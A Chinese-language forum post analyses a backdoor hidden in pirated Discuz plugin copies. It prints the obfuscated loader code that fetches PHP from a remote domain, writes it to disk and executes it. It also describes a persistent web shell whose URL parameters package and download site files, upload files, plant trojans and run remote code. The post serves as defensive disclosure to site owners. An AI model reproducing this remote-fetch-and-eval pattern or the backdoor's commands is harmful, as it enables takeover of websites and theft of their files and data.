马上注册,免费下载更多dz插件网资源。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
在曝光这个后门木马之前,我们考虑了很久要不要曝光,这个后门我们去年就已经发现了,而且第一时间公布到群里面!在群里的用户可能很早都知道这个后门!
但是始终没有曝光在网站内!原因是从这个后门的复杂程度来看,此人不简单!我们不想惹!并不是我们怕!明着来我们不怕什么!
明枪易躲,暗箭难防!唯女子与小人为难养也!
正文开始:
这个后门样本是最早发现在飞*房产(后门和插件作者无关,正版的无此后门) 后来我们又在用户给我们提供的插件里面根据关键词 发现很多都带这个后门,
那么下面我们开始分析:本次样本为 克*APP 3.51(后门和插件作者无关,正版的无此后门),因为距离第一次发现太久,那个样本没有了!
首先我们是在一个模板文件发现了异常(如图)
- eval(dfsockopen($commen))
复制代码很明显的一句话后门。但是整个文件就这一行代码!没有一句话应有的参数!而 $commen 这个变量也并未在这个文件赋值, 全文件找了下发下在下面这个文件有 $commen 变量的赋值
function_comiis_load.php
但是这个值经过了一系列“混淆”,我们一步步来拨开这个烟雾弹 这里有个远程请求!那么我们把这个 $url 变量调试出来,先把代码搬过来
调试得到 $url 的值为: - ://94203.vip/20190305.png
复制代码这里已经是个正常的链接了,我们获取这个文件的内容试试(也可以通过浏览器的下载功能直接下载这个图片,然后通过记事本打开)
- moqu8ctrlabcctrl://ctrl.ctrl/ctrl[A-Z_].*[A-Z_]ctrlecho "990";ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png
复制代码继续对这串不知道什么玩意的内容进行整理(直接搬后门的代码过来取值就是)
得到内容 - http://94203.vip/baiduseofn.xmlCopy
复制代码继续往下调试,发现紧跟的这几段是让代码看起来像一个正常代码,其实并无实际用途!都是一些赋值然后其实并不会调用,也许后面会用到先放这里不做分析 - list(,,, $tagid, $type,$page ) = func_get_args(); $rewriterules=$_G['cache']['plugin']['comiis_app']; $identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id']; $plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;
复制代码紧随其后的是,翻译出来看看是判断什么 然后调用了什么文件!
因为 $tag 前面已经取了这个的值,我们直接调用,打印出内容看看
得到一个数组
- Array( [0] => moqu8 [1] => abc [2] => :// [3] => . [4] => / [5] => [A-Z_].*[A-Z_] [6] => echo "990"; [7] => ./config.php [8] => 6692 [9] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml [10] => `.*?` [11] => 6692 [12] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml [13] => ./baiduin.php [14] => template/index.html [15] => pic.png)
复制代码这样就很容易翻译那段代码的意思得到结果为: - if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}
复制代码这句话翻译成大白话的意思就是 如果 ./config.php 文件的大小 不等于 6692 字节 则引用 template/index.html 这个文件 注意到了吗? template/index.html 这个文件正式我们一开始发现端倪的文件
现在插件是第一次运行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我们继续调试!来到 template/index.html 这个文件 - eval(dfsockopen($commen))
复制代码这句代码意思是 先读取远程链接返回的内容,然后执行! $commen 这个变量的值我们前面已经知道了 就是下面的内容 (我们可以通过浏览器访问这个链接,然后右键查看源码,得到这个文件所返回的内容) - http://94203.vip/baiduseofn.xml
复制代码返回内容如下:
也就是说 即将执行的代码就是这段代码,复制下来 调试一波,顺便美化一下,方便阅读 - function content($svip){ ini_set('max_execution_time', '0'); if (function_exists('file_get_contents')) { $data = file_get_contents($svip); } else { $ch = curl_init(); $timeout = 5; curl_setopt($ch, CURLOPT_URL, $svip); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $data = curl_exec($ch); curl_close($ch); } return $data;}$svip = preg_replace(array("/" . $tag[10] . "/", "/" . $tag[1] . "/i", "/" . $tag[5] . "/"), array($tag[3], $tag[2], $tag[4]), $tag[12]);if (content($svip)) { file_put_contents($tag[13], content($svip)); require_once $tag[13];}
复制代码因为代码中依然用到了 $tag 变量,所以我们继续放之前的调试文件调试,我们先来 取 $svip 这个变量对应的值,得到一个链接 - http://94203.vip/baiduseoff.xml
复制代码之前我们已经打印了 $tag 的内容 可以得到 $tag[13] 的内容就是 ./baiduin.php
继续放下调试 翻译出来的大白话意思就是 如果远程访问 上面的 的链接 返回的内容不是空的 则写入 返回的内容到文件 ../baiduin.php 并且马上引用这个文件
既然又要引用新文件,那么我们就得看看这个文件的内容了 (我们可以通过浏览器访问这个链接,然后右键查看源码,得到这个文件所返回的内容) 其实这里和前面一个步骤很像,
你也可以理解成是一层壳!得到一个比较大的文件了(如图),有种预感,马上要正式进入后门的领域了,前面一系列操作其实都是烟雾弹
内容太长就不粘贴出来了 感兴趣的可以下载下面的附件(代码为了方便阅读,美化过,其实你也可以访问下面的链接得到这个文件样本)
其实这个文件是进行了简单加密的。我们给他解密!因为是比较简单的加密,而且我们这次的重点不是讲解加密与解密。下面直接上图解密,就不讲解了
得到解密后的文件
调试木马
我们调试这个文件,因为我不是 在dz环境调试的,但是这个文件用到了dz自带的几个函数 我们copy过来在调试
调试前先把已知的数据讲解下
如果文件./web.php 存在 就删除这个文件,前面的代码都是构造变量,在这句之前用不到
这里的 $identifier 是插件的 标识,代码因为是在插件里面运行的,所以这个变量是dz赋值的$plugin['identifier'],比如我们现在的样本是 comiis_app 那么这个值就是 'comiis_app' 继续调试
这里开始引用了上面的几个变量,我们把变量输出看看分别是什么
得到这2个变量分别是 - ./config.phphttp://94203.vip/index.txt
复制代码其实从这里开始感觉分析这个后门已经花了很长时间了,有点累,写的都比较随意了!可能大家都开始看不懂了,还是保持开始的状态继续写!分析起来其实很快,主要是要写,就慢了。 得到这2个变量的值,我们翻译下上面那段逻辑代码 - 如果 (文件./config.php不存在 且 远程请求http://94203.vip/index.txt的内容不是空) { 远程访问("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app"; 写入文件(./config.php, 远程访问http://94203.vip/index.txt返回的内容);} 或者如果 (文件./config.php字节大小 不等于 6692 且 远程请求http://94203.vip/index.txt的内容不是空) { 写入文件(./config.php, 远程访问http://94203.vip/index.txt返回的内容);} 或者如果(文件"插件目录/log.txt"不存在 且 插件不是csdn123_news和csdn123com_toutiao) { 远程访问("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app"; 写入文件(插件目录/log.txt, 空的内容);}
复制代码不知道这样的代码结构 对于不懂PHP的 能不能看懂,懂PHP的直接看源代码就可以。继续调试下面的代码
首先输出这个变量 $deindex
得到 这个变量的值为 ./index.bak.php,我们继续用上面的方式翻译上面的这段逻辑代码 - 如果 (文件./index.bak.php存在) { 删除文件./index.bak.php;}如果 (文件/source/function/function_ajax.php大小 不等于 14798) { 如果(远程访问链接http://q.94203.vip/function_cloudaddons.xml返回的不是空内容 ){ 写到文件/source/function/function_ajax.php 内容是 远程访问链接http://q.94203.vip/function_cloudaddons.xml返回的内容 }}删除文件./baiduin.php
复制代码到这里已经开始了 系统文件替换了,其实到这里基本上就结束了,看着是不是好像没有什么大问题?只是替换了一个系统文件和写了一个./config.php文件?
先别急着关闭页面,因为下面才是重头戏!我们继续分析写入的这2个文件 从 ./config.php 开始,这个文件写入的是 http://94203.vip/index.txt 返回的内容 我们用浏览器打开 得到文件代码如图
去掉 用于混淆 让人觉得是正常文件的内容 得到代码
为什么那一段是没用的?因为如果正常访问 其实这就是dz自带的 index.php文件复制过来的 后门控制者访问时如果在链接后面加了 ?s=1 就会执行图片上的代码
翻译出来的意思就是 - 执行代码( 远程请求 {域名}/baiduindex.xml 返回的内容 )
复制代码这里的域名 是通过GET参数获取,也就是说 如果控制住域名忘记续费 根本没有关系 比如 作者 通过这样的形式访问 你的域名/config.php?s=1&domain=94203.vip 就可以 那么/baiduindex.xml的内容是什么,因为是控制者在控制你网站时输入的,所以从代码上得不到这个文件!但是我们可以靠猜来试试,果然一猜就中,他用于木马的域名就文中提到的1个。试了一下 就出来了 得到内容(加密了,那就解密看看这个是个什么文件吧)
经过N层解密,得到文件
这里已经有获取你网站安装的插件操作的代码的了!这个后门文件还有很多参数!等下我们继续分析! 解密后的样本和原版 在下面的附件 有兴趣的可以研究下
下面继续分析,这个木马文件的所有参数(其实也累了,就不调试了,直接丢dz环境跑起来,然后把代码有的参数一个个输进去试) 忽然发现 404,原来作者还加了 指定浏览器功能,也就是说只有这个UA的浏览器才能访问,我们删除这段
木马参数
参数1、 你的域名/config.php?s=1&domain=94203.vip&b=header&z=压缩包名字 打包你网站 ./source/plugin 目录 即打包插件目录,然后下载,代码见下面
参数2、 你的域名/config.php?s=2&domain=94203.vip 开头涉及到一个插件 aljjyno 不知道干嘛用的,但是只知道有写入文件的功能!也是远程请求,但是这次我们通过前面方法猜域名,没有猜出来!
紧随的是 替换/config/config_global.php 网站配置文件(给你开启开发者模式,这样你安装插件就不会自动删除安装包!不然作者每次打包走的都是没有xml的插件估计也很难受) 接着就是巩固一下后门
上面的代码前面讲过 就是判断 ./config.php的大小是不是 6692 如果不是就重新生成,防止木马被你清理或修改 然后 又巩固了一下 /source/function/function_ajax.php 的地位 这个文件前面提到了,但是还没有分析!等分析玩这个文件,我们继续分析这个 在往下 就是 获取你安装了的插件,然后列出列表吧?如果弄了打包的参数 就开始打包下载
参数3、 你的域名/config.php?s=3&domain=94203.vip后面还要参数 不是很重要 这个就是 下载压缩包用的,没什么可以讲解
参数4、 你的域名/config.php?s=4&domain=94203.vip 上传文件到你网站任意位置的好像。
参数5、 你的域名/config.php?s=5&domain=94203.vip&do=1 作用:写入文件
如果带do参数 则写入94203.vip/data.xml 的内容 浏览器访问这个链接 得到的内容 是一个典型的PHP木马。打包网站用的,导出数据库啥的 如果没有带do参数 则写入94203.vip/datatwo.xml 的内容 浏览器访问这个链接 得到的内容 是一个文件在线管理功能。 2个样本在下面压缩包,感兴趣的可以下载看看
参数6、 你的域名/config.php?s=6&domain=94203.vip 作用:执行远程文件 94203.vip/ondata.xml
其实和 参数5的带do参数功能一样,可能是防止你服务器不能写入文件时 直接用php执行用的。应该算是备用功能,感兴趣的可以下载下面的附件研究
参数7、 你的域名/config.php?s=7&domain=94203.vip 作用:下载你网站非压缩包文件(如直接下载PHP文件)
参数8、 你的域名/config.php?s=8&domain=94203.vip 作用:执行远程代码 94203.vip/tiquxml.xml
远程链接返回内容如下 - @set_time_limit(0);@include_once './config/config_global.php';
复制代码
从注释看好像是提取XML的 到这里 这个文件的功能基本上分析完毕。你以为就这样?
结尾
以上涉及到的代码全部是远程执行,
代码后门作者可以随时更改/更新/升级、等于是给你网站的后门免费提供了免费更新的功能 如果他给你来个全盘格式化的远程代码,你懵逼吗?
如果他给你来个清空数据库的代码 你懵逼吗?
分析到这里,我们回到前面提到的 /source/function/function_ajax.php文件 打开远程获取到的代码 分析一波,已经不记得前面有没有把这个文件的代码贴出来了!
如果没有,感兴趣的同学就自己获取一下! 因为这个文件是基于dz的系统文件修改的(注入),我们对比文件删除dz原版代码 得到如下代码
也就是说上面的代码是后门作者加进去的 其实这个文件也没啥好分析的,
大概就是:这个文件因为dz需要经常调用,调用频率非常的高 只要这个文件一被调用 就自动从远程获取内容94203.vip/index.xml 生成到文件/config.php 这个文件的代码前面分析过。
大概想实现的目的就是防删!如果你删了,又会出来。就是你怎么删也删不掉/config.php这个文件,我给他定义为 “不死鸟” 基本上整个后门到这里就算分析完毕了!
其实目前来讲这套木马想查杀的话 有一套关键词可以进行匹配!
但是我们这次目的是分析木马!查杀的任务,还是得靠站长自己。
我们只能说这种木马在全网传播的很普遍!
从各个资源站到某宝等 都有这个木马的影子!
©DZ插件网所发布的一切资源仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 网站部分内容来源于网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,得到更好的正版服务。 您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。 如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解!
|